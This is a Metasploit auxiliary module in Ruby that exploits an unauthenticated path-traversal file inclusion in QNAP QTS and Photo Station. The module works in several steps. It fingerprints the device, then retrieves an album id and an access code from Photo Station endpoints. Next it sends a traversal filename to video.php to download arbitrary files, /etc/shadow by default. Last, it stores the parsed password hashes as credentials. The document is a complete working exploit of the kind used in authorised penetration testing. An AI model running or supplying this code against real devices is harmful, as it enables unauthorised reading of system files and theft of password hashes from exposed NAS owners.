##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'QNAP QTS and Photo Station Local File Inclusion',
        'Description' => %q{
          This module exploits a local file inclusion in QNAP QTS and Photo
          Station that allows an unauthenticated attacker to download files from
          the QNAP filesystem.

          Because the HTTP server runs as root, it is possible to access
          sensitive files, such as SSH private keys and password hashes.

          This module has been tested on QTS 4.3.3 (unknown Photo Station
          version) and QTS 4.3.6 with Photo Station 5.7.9.
        },
        'Author' => [
          'Henry Huang', # Vulnerability discovery
          'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # MSF module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2019-7192'],
          ['CVE', '2019-7194'],
          ['CVE', '2019-7195'],
          ['EDB', '48531'],
          ['URL', 'https://infosecwriteups.com/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05'],
          ['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201911-25'],
          ['URL', 'https://github.com/Imanfeng/QNAP-NAS-RCE']
        ],
        'DisclosureDate' => '2019-11-25', # Vendor advisory
        'Actions' => [
          ['Download', { 'Description' => 'Download the file at FILEPATH' }]
        ],
        'DefaultAction' => 'Download',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [true, 'The URI of the QNAP Website', '/']),
      OptString.new('FILEPATH', [true, 'The file to read on the target', '/etc/shadow']),
      OptBool.new('PRINT', [true, 'Whether or not to print the content of the file', true]),
      OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 3])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'authLogin.cgi')
    )

    unless res && res.code == 200 && (xml = res.get_xml_document)
      return Exploit::CheckCode::Safe
    end

    info = %w[modelName version build patch].map do |node|
      xml.at("//#{node}").text
    end

    vprint_status("QNAP #{info[0]} #{info[1..].join('-')} detected")

    return Exploit::CheckCode::Appears if info[2].to_i < 20191206

    Exploit::CheckCode::Detected
  end

  def run
    if check == Exploit::CheckCode::Safe
      print_error('Device does not appear to be a QNAP')
      return
    end

    file_content = exploit_lfi(datastore['FILEPATH'])

    if file_content.nil? || file_content.empty?
      print_bad('Failed to perform Local File Inclusion')
      return
    end

    fname = File.basename(datastore['FILEPATH'])

    path = store_loot(
      'qnap.http',
      'text/plain',
      datastore['RHOST'],
      file_content,
      fname
    )

    print_good("File download successful, saved in #{path}")

    print_good("File content:\n#{file_content}") if datastore['PRINT']

    return unless datastore['FILEPATH'] == '/etc/shadow'

    print_status('adding the /etc/shadow entries to the database')

    file_content.lines.each do |line|
      entries = line.split(':')

      next if entries[1] == '*' || entries[1] == '!' || entries[1] == '!!'

      credential_data = {
        module_fullname: fullname,
        workspace_id: myworkspace_id,
        username: entries[0],
        private_data: entries[1],
        jtr_format: 'md5crypt',
        private_type: :nonreplayable_hash,
        status: Metasploit::Model::Login::Status::UNTRIED
      }.merge(service_details)

      create_credential(credential_data)
    end
  end

  def exploit_lfi(file_path)
    album_id, cookies = retrieve_album_id

    unless album_id
      print_bad('Failed to retrieve the Album Id')
      return
    end

    print_good("Got Album Id : #{album_id}")

    access_code = retrieve_access_code(album_id, cookies)

    unless access_code
      print_bad('Failed to retrieve the Access Code')
      return
    end

    print_good("Got Access Code : #{access_code}")

    print_status('Attempting Local File Inclusion')
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'photo', 'p', 'api', 'video.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'vars_post' => {
        'album' => album_id,
        'a' => 'caption',
        'ac' => access_code,
        'filename' => ".#{file_path.start_with?('/') ? '/..' * datastore['DEPTH'] + file_path : "/#{file_path}"}"
      }
    })

    return unless res && res.code == 200

    res.body
  end

  def retrieve_album_id
    print_status('Getting the Album Id')
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'photo', 'p', 'api', 'album.php'),
      'method' => 'POST',
      'vars_post' => {
        'a' => 'setSlideshow',
        'f' => 'qsamplealbum'
      }
    })

    return unless res && res.code == 200

    xml_data = res.get_xml_document
    output = xml_data.xpath('//output[1]')
    return if output.empty?

    [output.inner_text, res.get_cookies]
  end

  def retrieve_access_code(album_id, cookies)
    print_status('Getting the Access Code')
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'photo', 'slideshow.php'),
      'vars_get' => { 'album' => album_id },
      'cookie' => cookies
    })

    return unless res && res.code == 200

    res.body[/(?<=encodeURIComponent\(["']).+(?=['"])/]
  end

end
